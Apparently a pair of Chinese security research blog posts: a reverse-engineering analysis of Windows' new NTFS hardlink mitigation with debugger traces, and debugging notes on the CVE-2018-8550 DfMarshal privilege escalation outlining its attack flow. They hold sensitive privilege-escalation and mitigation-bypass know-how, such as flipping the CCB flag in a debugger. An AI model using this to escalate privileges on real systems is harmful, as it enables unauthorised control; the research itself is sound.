<span class="md_line md_line_start md_line_end">微软在Insider Preview引入了一个新的缓解机制来阻止普通用户创建硬链接(CreateHardlink),在逻辑漏洞的利用中,hardlink是一个非常实用且便捷的方法,当一个高完整性级别进程对低权限文件操作的时候(这里所谓低权限泛指normal user或更低权限用户可以完全控制的文件),可以利用hardlink将低权限文件链接到高权限文件(高权限是指需高权限例如SYSTEM操作的文件,比如C:\Windows目录下的绝大多数文件及子目录文件),从而会使高权限进程处理高权限文件(比如改变DACL,写入,创建等)这里简述一下利用hardlink的逻辑漏洞利用方法。</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/20190608/1.png" style="width:48%" class="md_scaled_image" alt="" title="" style="width:48%;"></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">关于应用到hardlink技巧的漏洞可以参考Project Zero的James Forshaw的<a class="md_compiled" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1428">历史漏洞</a>,他提交的逻辑类型漏洞中很多都应用到了hardlink的利用方法。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">PS: 文中的代码示例均来自Insider preview(build 18898.1000),除了部分源码展示出处有单独说明。</span>
</p>
<hr>
<h3 id="toc_1" class="h16">Hardlink review</h3>
<hr>
<p class="md_block">
<span class="md_line md_line_start md_line_end">关于hardlink的创建可以参考James Forshaw的项目symboliclink-testing-tools (https://github.com/googleprojectzero/symboliclink-testing-tools),通过调用NtSetInformationFile设置文件的FileLinkInformation的属性将指定文件链接到目标文件上。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">当然,符号链接曾经也是用来sandbox escape的有效手段,在AppContainter(或者低完整性级别进程中,例如Low Integrity)中,许多权限操作需要通过medium integrity进程来帮忙完成,这样可以通过一个AC可以操作的目录文件,硬链接到高权限文件,再利用Medium integrity进程来完成对高权限文件的操作,但微软加入了针对这种方法的Mitigation,如果是在AppContainer中调用NtSetInformationFile,会调用RtlIsSandboxToken检查进程Token,若在沙盒中,则设置需求的访问权限。其实现在ntoskrnl!NtSetInformationFile函数中:</span>
</p>
<pre><code> if ( a5 == 0xB || a5 == 0x48 )// 0xB和0x48都是FileLinkInformation
{
memset(&Dst, 0, 0x20ui64);
SeCaptureSubjectContextEx(v6, *(_QWORD *)(v6 + 544), &Dst);
v65 = RtlIsSandboxedToken(&Dst, v7);//检查沙盒Token
SeReleaseSubjectContext(&Dst);
if ( v65 )
v14 |= 0x100u;//设置需求的访问权限,必须要有写权限
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">0xB和0x48是FileLinkInformation的enumerate,它最终会调用ntfs.sys中NtSetLinkInfo设置指定文件的硬链接到目标链接,其代码在ntfs!NtfsCommonSetInformation函数中实现</span>
</p>
<pre><code> case 0xB:
case 0x48:
v47 = v11;
v34 = NtfsSetLinkInfo(v4, v73, v10, v9, v47);</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">ntfs.sys是Windows的文件系统驱动,其调用方法是在ntoskrnl的NT API中调用IofCallDriver,通过调用DriverObject的MajorFunction发送IRP封装,进入Ntfs!NtfsFsdSetInformation函数。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里微软通过RtlIsSandboxedToken的方法阻止了AC调用硬链接,同样注册表和文件的符号链接,<img class="md_compiled " src="http://blogs.360.cn/post/windows10-mount-point-mitigation-bypass.html" alt="目录挂载" title="" >等方法也是通过类似方法缓解。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">关于这次Insider Preview之前微软通常会通过两种方法来修补这类逻辑漏洞,第一种是模拟客户端,通过调用RpcImpersonateClient来模拟客户端Token,也就是说在接下来的上下文中,进程将以Client的权限执行代码,最后通过RpcRevertToSelf恢复原进程权限。第二种是通过调用GetFileInformationByHandle获取文件的属性,在GetFileInformationByHandle参数中有一个数据结构。</span>
</p>
<pre><code>typedef struct _BY_HANDLE_FILE_INFORMATION {
DWORD dwFileAttributes;
FILETIME ftCreationTime;
FILETIME ftLastAccessTime;
FILETIME ftLastWriteTime;
DWORD dwVolumeSerialNumber;
DWORD nFileSizeHigh;
DWORD nFileSizeLow;
DWORD nNumberOfLinks;
DWORD nFileIndexHigh;
DWORD nFileIndexLow;
} BY_HANDLE_FILE_INFORMATION, *PBY_HANDLE_FILE_INFORMATION, *LPBY_HANDLE_FILE_INFORMATION;</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">其中nNumberOfLinks会获取文件符号链接的数量,如果大于1则证明当前文件存在符号链接,则阻止后续操作进行。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">关于修补漏洞的方法这里不做过多讨论,读者可以通过对补丁的对比找到微软修补此类漏洞的方法。</span>
</p>
<hr>
<h3 id="toc_2" class="h16">Hardlink Mitigation</h3>
<hr>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在Insider Preview(build 18898.1000)中(可能更早),微软引入了针对hardlink的缓解措施,阻止普通用户创建高权限文件的硬链接,其主要思路是检查FileObject中ContextControlBlock的Flags,若其Flags不满足要求(RequirAccess),则最终调用SeAccessCheck检查进程对硬链接目标的真实访问权限,从而阻止普通用户创建高权限文件硬链接。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">其主要代码在ntfs!NtfsSetLinkInfo中</span>
</p>
<pre><code> if ( !(*(_WORD *)(a5 + 0x68) & 0x310) ) // mitigation
{
……
if ( !(unsigned __int8)TxfAccessCheck(
v6,
v90,
*(_QWORD *)(v5 + 168),
*(_QWORD *)(v6 + 200),
0,
0,
0x100u,
0,
0i64,
v91,
v99,
(__int64)&v156,
0i64,
&v157,
0i64) )
{
v24 = 0xC0000022;//Access Denied
if ( !NtfsStatusDebugFlags )
return (unsigned int)v24;
v84 = 995043i64;
goto LABEL_200;
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">TxfAccessCheck函数会调用SeAccessCheckEx检查进程的访问权限(写入,修改,删除等),若权限不满足,则返回0xC0000022拒绝访问。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">我们需要回溯到外层函数调用NtfsCommonSetInformation来追踪a5+0x68的值,a5的值来自NtfsSetLinkInfo函数的第五个参数,关于回溯过程这里我不再赘述,a5的值来自于IRP封装的CurrentStackLocation,NtfsCommonSetInformation的第一个参数是一个IRP结构的参数,我简化了NtfsCommonSetInformation的代码,来看一下参数的传递过程。</span>
</p>
<pre><code>signed __int64 __usercall NtfsCommonSetInformation@<rax>(_IRP *a1@<rdx>, __int64 a2@<rcx>, signed __int64 a3@<r15>)
{
v6 = a1->Tail.Overlay.CurrentStackLocation;
v8 = *((_QWORD *)v6 + 0x30);
v11 = *(_QWORD *)(v8 + 0x20);
case 0xB:
case 0x48:
v47 = v11;
v34 = NtfsSetLinkInfo(v4, v73, v10, v9, v47);
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">那么这个参数到底是什么呢,我们需要从CurrentStackLocation看起,CurrentStackLocation是IRP中的一个非常关键的成员,包括IRP封装调用Driver的方法MajorFunction都在此结构中,其数据类型是_IO_STACK_LOCATION。我们可以在这个地方下断点,命中时查看_IO_STACK_LOCATION结构。</span>
</p>
<pre><code>3: kd> p
Breakpoint 0 hit
Ntfs!NtfsSetLinkInfo:
fffff803`8434d694 4c8bdc mov r11,rsp
1: kd> dq ffffa402da68f010+b8 l1
ffffa402`da68f0c8 ffffa402`da68f3b0
1: kd> dt _IO_STACK_LOCATION ffffa402`da68f3b0
ntdll!_IO_STACK_LOCATION
+0x000 MajorFunction : 0x6 ''
+0x001 MinorFunction : 0 ''
+0x002 Flags : 0 ''
+0x003 Control : 0xe0 ''
+0x008 Parameters : <anonymous-tag>
+0x028 DeviceObject : 0xffffa402`d68f6030 _DEVICE_OBJECT
+0x030 FileObject : 0xffffa402`dac559d0 _FILE_OBJECT</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里需要解释一下,我在调试时直接在NtfsSetLinkInfo下断点是因为其第二个参数就是IRP结构,所以可以通过IRP直接跟踪到第五个参数的值,这里IRP结构的地址是0xffffa402da68f010,而_IO_STACK_LOCATION在IRP+0xb8偏移位置。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到_IO_STACK_LOCATION + 0x30位置是FileObject,这个FileObject就是硬链接目标文件的FileObject。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">接着可以跟踪FileObject+0x20是什么。</span>
</p>
<pre><code>1: kd> dx -id 0,0,ffffa402ddde7080 -r1 ((ntdll!_FILE_OBJECT *)0xffffa402dac559d0)
((ntdll!_FILE_OBJECT *)0xffffa402dac559d0) : 0xffffa402dac559d0 [Type: _FILE_OBJECT *]
[+0x000] Type : 5 [Type: short]
[+0x002] Size : 216 [Type: short]
[+0x008] DeviceObject : 0xffffa402d68cc860 : Device for "\Driver\volmgr" [Type: _DEVICE_OBJECT *]
[+0x010] Vpb : 0xffffa402d47fa3a0 [Type: _VPB *]
[+0x018] FsContext : 0xffffe388a39a11b0 [Type: void *]
[+0x020] FsContext2 : 0xffffe388a6297370 [Type: void *]</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到,其偏移+0x20处的对象是FsContext2,其值为0xffffe388a6297370,而第五个参数就是FsContext2,而a5+0x68检查的就是FsContext2+0x68位置的Flag。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">我们可以从泄露的windows nt源码中找到关于FsContext2结构的蛛丝马迹,windows nt源码kdexts\ntfs.c的第963行</span>
</p>
<pre><code> DumpCcb( (ULONG) File_Object.FsContext2, 1 );</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">Ntfs通过调用DumpFileObject函数中的DumpCcb函数获取ccb(ContextControlBlock),看下DumpCcb函数,ntfs.c的第806行:</span>
</p>
<pre><code>VOID
DumpCcb (
IN ULONG Address,//FileObject->FsContext2
IN ULONG Options
)
{
……
pCcb = (PCCB) Address;
……
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">其实PCCB是上下文控制块,CCB中还包含了文件的信息,比如文件名。</span>
</p>
<pre><code>1: kd> dt _FILE_OBJECT 0xffff800bbd4832c0 FsContext2
ntdll!_FILE_OBJECT
+0x020 FsContext2 : 0xffffcc8a`116bde50 Void
1: kd> dq 0xffffcc8a116bde50
ffffcc8a`116bde50 00000003`00880709 00000000`00000841
ffffcc8a`116bde60 00000000`00380026 ffffcc8a`1320b4b0
1: kd> dc ffffcc8a`1320b4b0
ffffcc8a`1320b4b0 0057005c 006e0069 006f0064 00730077 \.W.i.n.d.o.w.s.
ffffcc8a`1320b4c0 0073005c 00730079 00650074 002e006d \.s.y.s.t.e.m...
ffffcc8a`1320b4d0 006e0069 00000069 4134342d 31392d45 i.n.i</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">FileObject->FsContext2最终会直接被强制转换成PCCB对象,其实a5+0x68就是PCCB+0x68,这个值是由什么决定的呢?这需要经过一些逆向分析。这里我简述一下分析过程,首先,我们知道FsContext2的值来自于FileObject,而这些结构体都处于IRP封装中,在nt! NtSetInformationFile函数中:</span>
</p>
<pre><code> LODWORD(v32) = IopAllocateIrpExReturn(DeviceObject, DeviceObject->StackSize, (unsigned __int8)(v31 ^ 1), retaddr);// Create IRP
v34 = v32;
Irp = v32;
if ( v32 )
{
……
*(_QWORD *)(v36 + 48) = v16; // Get FileObject
……
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">函数会创建IRP结构,如果创建成功,则会为IRP结构赋初值,其中v36+0x30是FileObject,v16的值来自于v83,而v83的则是通过句柄表获取的object,仍然在nt!NtSetInformationFile中。</span>
</p>
<pre><code> v15 = ObReferenceObjectByHandle(Handle, v14, (POBJECT_TYPE)IoFileObjectType, v7, &v83, 0i64);
v16 = v83;</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">这个值是通过FileHandle获取的,FileHandle则是外层传入的,在James Forshaw的代码中通过OpenFile获取Handle,其打开的Access定义为MAXIMUM_ALLOWED,就是以最大的允许权限打开文件。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">最终我们跟踪到NtOpenFile函数中调用ntfs!NtfsSetCcbAccessFlags设置+0x68偏移位置的flag,其调用路径为</span>
</p>
<pre><code>2: kd> k
# Child-SP RetAddr Call Site
00 ffffca88`5a766e48 fffff807`52d32d20 Ntfs!NtfsSetCcbAccessFlags
01 ffffca88`5a766e50 fffff807`52d37382 Ntfs!NtfsCommonCreate+0x2080
02 ffffca88`5a767040 fffff807`4fa08829 Ntfs!NtfsFsdCreate+0x202
03 ffffca88`5a767270 fffff807`52045b3d nt!IofCallDriver+0x59
……
0c ffffca88`5a767980 fffff807`4fbdb3a5 nt!NtOpenFile+0x58
2: kd> p
Breakpoint 0 hit
Ntfs!NtfsSetCcbAccessFlags:
fffff807`52c47c90 4c8bdc mov r11,rsp
2: kd> r rdx
rdx=ffff800bc33b34e0
2: kd> dq ffff800bc33b34e0+b8 l1 // _IO_STACK_LOCATION
ffff800b`c33b3598 ffff800b`c33b3880
2: kd> dt _IO_STACK_LOCATION ffff800b`c33b3880 FileObject
ntdll!_IO_STACK_LOCATION
+0x030 FileObject : 0xffff800b`c3d13670 _FILE_OBJECT
2: kd> dt _FILE_OBJECT 0xffff800b`c3d13670 FsContext2 FileName
ntdll!_FILE_OBJECT
+0x020 FsContext2 : 0xffffcc8a`15611620 Void
+0x058 FileName : _UNICODE_STRING "\Windows\system.ini"
2: kd> dd 0xffffcc8a`15611620+68 l1
ffffcc8a`15611688 00000000</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里还未赋值,接下来跟踪到NtfsSetCcbAccessFlags如下上下文位置,具体代码如下</span>
</p>
<pre><code>fffff807`52c47ce0 0fb74714 movzx eax,word ptr [rdi+14h]
fffff807`52c47ce4 6623c2 and ax,dx
fffff807`52c47ce7 66094168 or word ptr [rcx+68h],ax
3: kd> dq ffff800bc65d22b0+14
ffff800b`c65d22c4 02000000`001200a9</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到FsContext2+0x68值来源于0x1200a9和0x1a7与运算的结果,最后的值为0xa1,这个值会最后在NtfsSetLinkInfo中判断,而0x1200a9实际上就是ACE AccessMask,0x1200a9表示文件对当前进程只有Read Permission,而FullControl则是0x1f01ff,如果将File变成normal user可控的文件就会发现。</span>
</p>
<pre><code>2: kd> dd ffff800b`bf2a7510+0x14 l1
ffff800b`bf2a7524 001f01ff</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">因此最后0xa1和0x310进行与运算的结果是0x0。</span>
</p>
<pre><code>1: kd> p
Ntfs!NtfsSetLinkInfo+0x212:
fffff807`52d4d8a6 b910030000 mov ecx,310h
1: kd> p
Ntfs!NtfsSetLinkInfo+0x217:
fffff807`52d4d8ab 6641854d68 test word ptr [r13+68h],cx
1: kd> dd r13+68 l1
ffffcc8a`167399c8 000000a1</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">最终会进入SeAccessCheck检查文件访问权限,从而阻止创建硬链接。感兴趣的读者可以尝试用windbg修改FsContext2->Flag的值令其与0x310与运算后值为1,则可以创建高权限文件的硬链接。</span>
</p>DfMarshal系列漏洞CVE-2018-8550调试记录2019-05-10T16:00:00Z2019-05-11WHEREISK0SHL<p class="md_block">
<span class="md_line md_line_start md_line_end">Author: k0shl of 360 Vulcan Team</span>
</p>
<hr>
<h3 id="toc_0" class="h16">关于CVE-2018-8550(DfMarshal系列漏洞)</h3>
<hr>
<p class="md_block">
<span class="md_line md_line_start md_line_end">前段时间看了一下James forshaw关于DfMarshal的漏洞,在本子上记录了比较多的东西,于是写这篇博客总结一下,漏洞流程并不复杂,DfMarshal在对对象(object)进行散集(UnMarshal)的过程中,如果object通过聚合(Aggregation)的方式自定义列集(Marshal)方法,最终会导致高权限进程使用特定的Unmarshal方法,在这系列漏洞中即DfMarshal接口, DfMarshal调用自己的UnMarshal方法(来自coml2.dll)而非COM默认的Unmarshal方法(来自combase.dll)。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">关于这一系列漏洞的成因可以参考<a class="md_compiled" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1644&can=13&q=&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=1400">james forshaw</a>以及<a class="md_compiled" href="https://bbs.pediy.com/thread-251129.htm">看雪-王cb</a>的帖子,王cb用c++方法重构了james forshaw关于DfMarshal中DuplicateHandle条件竞争(TOCTOU)的漏洞攻击流程,两者都可以作为参考,王cb帖子中关于漏洞成因的逆向工程已经十分详尽,这里就不再赘述。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里需要再说一下关于整个攻击的流程,首先通过COM方法向audiodg申请一个共享内存section,之后调用NtViewMapofSection方法将section handle映射到当前进程空间,之后将section写入sdfmarshalpackage的hmem成员,之后通过高权限进程(比如BITS)触发DfMarshal->Unmarshal最终导致权限提升。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在这一系列的漏洞中,我比较关注的问题在于james forshaw运用的共享内存的方法,其实在<a class="md_compiled" href="https://conference.hitb.org/hitbsecconf2017ams/materials/D2T3%20-%20James%20Forshaw%20-%20Introduction%20to%20Logical%20Privilege%20Escalation%20on%20Windows.pdf">james forshaw去年的slide</a>中已经描述了section/file mapping容易出的问题,仔细阅读wrk源码,file mapping本身也属于section的一部分,关于createsection的实现可以阅读wrk源码base\ntos\mm\creatsec.c中MmCreateSection的实现,section有两种类型,一种是paging file,另一种是file mapping。</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/20190511/8.png" alt="" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">关于调试这个漏洞的过程中碰到的有趣故事是我这篇博客的主要内容。</span>
</p>
<hr>
<h3 id="toc_1" class="h16">1. 关于”Undocumentation API” NtQuerySection的故事</h3>
<hr>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在王cb的帖子中提到了一个未文档化的API NtQuerySection,帖子中说他利用这种方法获取Section句柄,其实NtQuerySection并非真正的未文档化的API,在WRK中包含关于NtQuerySection的实现逻辑,代码部分实现在ntos\mm\querysec.c第27行,NtQuerySection的函数原型如下:</span>
</p>
<pre><code>NTSTATUS
NtQuerySection(
__in HANDLE SectionHandle,
__in SECTION_INFORMATION_CLASS SectionInformationClass,
__out_bcount(SectionInformationLength) PVOID SectionInformation,
__in SIZE_T SectionInformationLength,
__out_opt PSIZE_T ReturnLength
)</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">其实函数内部逻辑非常简单,其关键部分在64-237行,主要是调用ObReferenceObjectByHandle获取SECTION数据结构,再根据SectionInformationClass的值获取相应的成员变量内容,保存在buffer里交给SectionInformation指针返回给用户,来看一下SECTION数据结构:</span>
</p>
<pre><code>typedef struct _SECTION {
MMADDRESS_NODE Address;
PSEGMENT Segment;
LARGE_INTEGER SizeOfSection;
union {
ULONG LongFlags;
MMSECTION_FLAGS Flags;
} u;
MM_PROTECTION_MASK InitialPageProtection;
} SECTION, *PSECTION;</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到其中并不包含HANDLE,事实上通过NtQuerySection的代码逻辑可以看出其功能并不是获取section object的句柄,而且是通过句柄获取SECTION结构的诸如address,size等信息。因此王cb帖子中关于这个未文档化API作用的描述是有一些失误的,他的代码中也只是应用NtQuerySection获取audiodg.exe中section的大小判断sdfmarshalpackage中开辟的大小是否足够存放section。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">而真正获取句柄的方法是通过NtQuerySystemInformaion直接读取句柄表中的objectype为section的句柄。</span>
</p>
<hr>
<h3 id="toc_2" class="h16">2.关于Audiodg.exe的故事</h3>
<hr>
<p class="md_block">
<span class="md_line md_line_start md_line_end">正如之前所说我比较关心james forshaw所使用的关于section的方法,Audiodg.exe是Audiosrv的一个子进程,真正的父进程是代理在svchost中的,这两者都是SYSTEM进程。在进入正题前首先我们来看一下接口的调用过程,james forshaw的poc中应用IMMDeviceEnumerator接口调用最终获取到IAudioClient接口指针,从而申请section,调用过程为:</span>
</p>
<pre><code>IMMDeviceEnumerator-> GetDefaultAudioEndpoint
|
-----> IMMDevice->Activate
|
-----> IAudioClient</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">IMMDeviceEnumerator通过MMDeviceEnumerator class创建实例,这个类是一个InprocServer,因此实际上这里创建的是一个进程内调用过程。</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/20190511/1.png" alt="" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">而在IMMDevice->Activate方法中会再次调用CoCreateInstance创建IAudioClient实例,其代码实现逻辑在CEndpointDevice::Activate->CSubEndpointDevice::Activate,代码很简单,但是逻辑过长这里我就不再拷贝了,在调用过程中可以这样下断点。</span>
</p>
<pre><code>0:000> ba e1 MMDevApi!CSubEndpointDevice::Activate
0:000> sxe ld: AudioSes.dll
0:000> g
Breakpoint 0 hit
MMDevApi!CSubEndpointDevice::Activate:
00007ff8`72fcc4c0 4055 push rbp
0:000> g
ModLoad: 00007ff8`72fc0000 00007ff8`73030000 C:\WINDOWS\System32\AudioSes.dll
ntdll!ZwMapViewOfSection+0x14:
00007ff8`7c2dfb94 c3 ret</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">而IAudioClient接口实现依然是一个进程内接口,接口中方法的代码实现在AudioSes.dll中。</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/20190511/2.png" alt="" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在我调试的过程中发现了两个有趣的地方。</span>
</p>
<hr>
<p class="md_block">
<span class="md_line md_line_start md_line_end">第一个是james forshaw使用IMMDeviceEnumerator最终获得IAudioClient接口指针并调用Initialize的AUDCLNT_SHAREMODE.AUDCLNT_SHAREMODE_SHARED方法创建一个section这并不是必须的,Windows下有一个服务叫做计划任务(tasks schedular)服务,其代理在一个SYSTEM权限的svchost中,它的管理职能实现在svchost的子进程taskhostw.exe中。</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/20190511/3.png" alt="" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到它托管了systemsoundsservice的任务,当systemsoundsservice调用audiosrv服务的时候,会令audiosrv启动audiodg.exe子进程并创建section,这个section就是我们在漏洞触发时使用的section。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">下面我们来看一下这个过程,首先Audiosrv的svchost中启动audiodg.exe的调用函数是audiosrv! AudioServerInitialize,调试时我们可以通过windbg附加到audiosrv的svchost上,然后通过ba e1 audiosrv!AudioServerInitialize,之后通过任务管理器kill掉audiodg已经存在的子进程(有一种情况是进程不存在,一般都是存在的,后面会解释,若进程不存在可以看我博文后面的部分,其实很多声卡操作可以激活taskhostw中的功能从而创建audiodg.exe,比如右键右下角扬声器,点击打开音量混合器,随便拖动一下:P),立刻就能捕捉到windbg中断在AudioServerInitialize。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">AudioServerInitilize会进入内部函数调用AudioServerInitialize_Internal,函数内部有一个虚函数调用,调用到CWindowsPolicyManager::RpcGetProcess,这里会获取RPC Client的processid。(是的,其实AudioServerInitialize就是RPC接口之一,这点后面会提到。)。</span>
</p>
<pre><code>0:007> pc
audiosrv!AudioServerInitialize_Internal+0x24a:
00007ff9`13cdc40a ff1508f51200 call qword ptr [audiosrv!_guard_dispatch_icall_fptr (00007ff9`13e0b918)] ds:00007ff9`13e0b918=00007ff922fcfc10
0:007> u rax
AUDIOSRVPOLICYMANAGER!CWindowsPolicyManager::RpcGetProcess:
00007ff9`13c59740 488bc4 mov rax,rsp
00007ff9`13c59743 48895808 mov qword ptr [rax+8],rbx</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">Audiosrv会通过RpcGetProcess方法内部调用CApplicationManager::RpcGetProcess最终调用I_RpcBindingInqLocalClientPID获取到绑定RPC的Client的PID,具体的的实现在AUDIOSRVPOLICYMANAGER.dll中,</span>
</p>
<pre><code>__int32 __fastcall CApplicationManager::RpcGetProcess(CApplicationManager *this, void *a2, struct CProcess **a3)
{
v121 = a3;
v114 = -2i64;
v3 = a2;
v4 = (CApplicationManager *)g_ApplicationManager;
v93 = (CApplicationManager *)g_ApplicationManager;
*a3 = 0i64;
v5 = I_RpcBindingInqLocalClientPID(a2, &dwProcessId);
//获取绑定的rpc client的pid
if ( v5 )
return wil::details::in1diag3::Return_Win32(
retaddr,
(void *)0x3B2,
(unsigned __int64)"multimedia\\audiocore\\server\\audiosrv\\windowspolicymanager\\applicationmanager.cpp",
(const char *)(unsigned int)v5);
v77 = 0i64;
v7 = CApplicationManager::TryFindProcessFromProcessId(v4, dwProcessId, (struct CProcess **)&v77);
0:007> pc
AUDIOSRVPOLICYMANAGER!CApplicationManager::RpcGetProcess+0x46:
00007ff9`13c6c7fe ff15b40a0200 call qword ptr [AUDIOSRVPOLICYMANAGER!_imp_I_RpcBindingInqLocalClientPID (00007ff9`13c8d2b8)] ds:00007ff9`13c8d2b8={RPCRT4!I_RpcBindingInqLocalClientPID (00007ff9`22935250)}
0:007> k//stack trace
Child-SP RetAddr Call Site
00000005`0bbfe810 00007ff9`13c59761 AUDIOSRVPOLICYMANAGER!CApplicationManager::RpcGetProcess+0x46
00000005`0bbfea10 00007ff9`13cdc410 AUDIOSRVPOLICYMANAGER!CWindowsPolicyManager::RpcGetProcess+0x21
00000005`0bbfea50 00007ff9`13cdc84d audiosrv!AudioServerInitialize_Internal+0x250
00000005`0bbfebc0 00007ff9`22957803 audiosrv!AudioServerInitialize+0x4d
00000005`0bbfec20 00007ff9`229bb4a6 RPCRT4!Invoke+0x73</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">其中I_RpcBindingInqLocalClientPID的第二个参数就是目标的PID,作为传出参数步过后可以看到PID的值。</span>
</p>
<pre><code>0:007> p
AUDIOSRVPOLICYMANAGER!CApplicationManager::RpcGetProcess+0x4c:
00007ff9`13c6c804 85c0 test eax,eax
0:007> dd rdx l1
00000005`0bbfe8d0 000016a4//pid = 0x16a4</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">其值为0x16a4,十进制为5796,即为我在之前的图片中taskhostw的pid,接下来函数会最终通过CAudioDGProcess::LaunchADGProcess创建audiodg.exe进程,其函数实现如下(中间省略号跳过了赋值audiodg.exe进程安全描述符的过程):</span>
</p>
<pre><code>__int64 __fastcall CAudioDGProcess::LaunchADGProcess(__int64 a1, unsigned __int8 a2)
{
if ( !GetSystemDirectoryW((LPWSTR)&v27, 0x104u) )//获取System32路径 C:\windows\system32
{
}
v8 = StringCbCatExW((STRSAFE_LPWSTR)&v27, v5, v6, &v22, &v21, dwCreationFlags);//
//……
*(_QWORD *)&ProcessInformation.dwProcessId = 0i64;
if ( CreateProcessW(
0i64,
(LPWSTR)&v27,//创建进程commandline为 c:\windows\system32\audio.exe
&ProcessAttributes,
0i64,
1,
v2 << 18,
0i64,
0i64,
(LPSTARTUPINFOW)&v26,
&ProcessInformation) )
0:009> pc
audiosrv!CAudioDGProcess::LaunchADGProcess+0x82:
00007ff9`13cb7426 e8cd190000 call audiosrv!StringCbCatExW (00007ff9`13cb8df8)
0:009> p
audiosrv!CAudioDGProcess::LaunchADGProcess+0x87:
00007ff9`13cb742b 8bd8 mov ebx,eax
0:009> dc 50bcfe280
00000005`0bcfe280 003a0043 0057005c 004e0049 004f0044 C.:.\.W.I.N.D.O.
00000005`0bcfe290 00530057 0073005c 00730079 00650074 W.S.\.s.y.s.t.e.
00000005`0bcfe2a0 0033006d 005c0032 00550041 00490044 m.3.2.\.A.U.D.I.
00000005`0bcfe2b0 0044004f 002e0047 00580045 00000045 O.D.G...E.X.E...
Stack trace:
0:005> k
Child-SP RetAddr Call Site
00000005`0bafdfb0 00007ff9`13cb71af audiosrv!CAudioDGProcess::LaunchADGProcess+0x82
00000005`0bafe310 00007ff9`13cd6642 audiosrv!CAudioDGProcess::LaunchAndWaitForADGStartup+0x47
00000005`0bafe400 00007ff9`13cdc3da audiosrv!CAudioDGProcess::InstantiateADG+0x112
00000005`0bafe4c0 00007ff9`13cdc84d audiosrv!AudioServerInitialize_Internal+0x21a
00000005`0bafe630 00007ff9`22957803 audiosrv!AudioServerInitialize+0x4d
00000005`0bafe690 00007ff9`229bb4a6 RPCRT4!Invoke+0x73</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">当然,当audiodg.exe进程已经存在的时候,AudioServerInitialize_Internal会直接跳转,不会进入到后续分支(比如使用james forshaw的这种方法在调用Initialize的时候会先进入这个函数,但是如果audiodg.exe进程存在则不会进入创建进程的分支),这点感兴趣的读者可以自己调试,代码实现也在AudioServerInitialize_Internal函数中。</span>
</p>
<p class="md_block">
